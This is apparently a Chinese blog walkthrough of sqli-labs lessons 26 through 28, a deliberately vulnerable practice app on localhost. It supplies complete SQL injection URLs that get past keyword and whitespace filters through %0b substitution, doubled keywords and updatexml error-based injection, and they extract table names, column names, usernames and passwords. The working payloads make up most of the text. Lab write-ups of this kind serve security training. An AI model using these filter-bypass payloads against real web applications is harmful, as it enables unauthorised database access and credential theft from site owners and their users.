前言
25關已經出現了初步的一些關鍵字過濾,通過雙寫可以繞過。后面的關卡,我們會遇到更多關鍵字過濾,需要各種技巧繞過。
Less26
第26關寫了會過濾空格和注釋符。有很多的答案,會用%a0替代空格,但據說這是sqli-labs部署在在linux環境下的,而在windows環境下,我嘗試了半天,只有用%0b可以替代空格。
?經過測試,我們發現為單引號閉合,并且會過濾掉各種空格,同時and和or也會被過濾:
http://localhost/sqli-labs/less-26/?id=1%27oorr%271%27=%271
?使用聯合注入方式:
#測試回顯
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,2,3'#回顯庫名
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,database(),3'#爆表名
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema="security"'#爆列名
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name="users"'#爆用戶名密碼
http://127.0.0.1/sqli-labs/less-26/?id=0'%0bunion%0bselect%0b1,group_concat(username),group_concat(passwoorrd)%0bfrom%0busers%0bwhere%0b'1'='1
使用報錯注入:
#庫名
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,database()),1)||'1'='1#表名,因為group_concat因為回顯長度問題顯示不全,可使用limit逐個列出
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(table_name)FROM(infoorrmation_schema.tables)where(table_schema="security")limit%0b0,1)),1)||'1'='1#列名
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(column_name)FROM(infoorrmation_schema.columns)where(table_name="users")limit%0b0,1)),1)||'1'='1#用戶名密碼
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(username)FROM(users)limit%0b0,1)),1)||'1'='1
http://127.0.0.1/sqli-labs/less-26/?id=0'||updatexml(1,concat(0x7e,(SELECT(passwoorrd)FROM(users)limit%0b0,1)),1)||'1'='1
Less26a
less26需要括號閉合。另外這關沒有輸出報錯信息,因此不可使用報錯注入。
#測試回顯
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,2,('3#回顯庫名
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,(database()),3%0banandd('#爆表名
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema="security"aandnd ('1'='1#爆列名
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name="users"aandnd ('1'='1#爆用戶名密碼
http://127.0.0.1/sqli-labs/less-26a/?id=0')%0bunion%0bselect%0b1,group_concat(username),group_concat(passwoorrd)%0bfrom%0busers%0bwhere%0b('1'='1
Less27
27關與26關相比,減少了and和or的過濾,增加了select和union的過濾。前年我們已經知道了可以通過雙寫方式繞過,對于select,直接寫成seselectlect就可以了。
#庫名
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,database()),1)||'1'='1#表名,因為group_concat因為回顯長度問題顯示不全,可使用limit逐個列出
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(table_name)FROM(information_schema.tables)where(table_schema="security")limit%0b0,1)),1)||'1'='1#列名
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(column_name)FROM(information_schema.columns)where(table_name="users")limit%0b0,1)),1)||'1'='1#用戶名密碼
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(username)FROM(users)limit%0b0,1)),1)||'1'='1
http://127.0.0.1/sqli-labs/less-27/?id=0'||updatexml(1,concat(0x7e,(SELSELECTECT(password)FROM(users)limit%0b0,1)),1)||'1'='1
Less28
28關寫的是會過濾union和select,但實際似乎沒有過濾,所以完全按照26a關的模式就好了
#回顯庫名
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,(database()),3%0band('#爆表名
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema="security"and ('1'='1#爆列名
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_name="users"and ('1'='1#爆用戶名密碼
http://localhost/sqli-labs/less-28/?id=0')%0bunion%0bselect%0b1,group_concat(username),group_concat(password)%0bfrom%0busers%0bwhere%0b('1'='1
小結
這幾關都是講關鍵字和符號過濾的。在ctf比賽中還有更變態的情況,把幾乎所有關鍵字和空格都過濾了那種!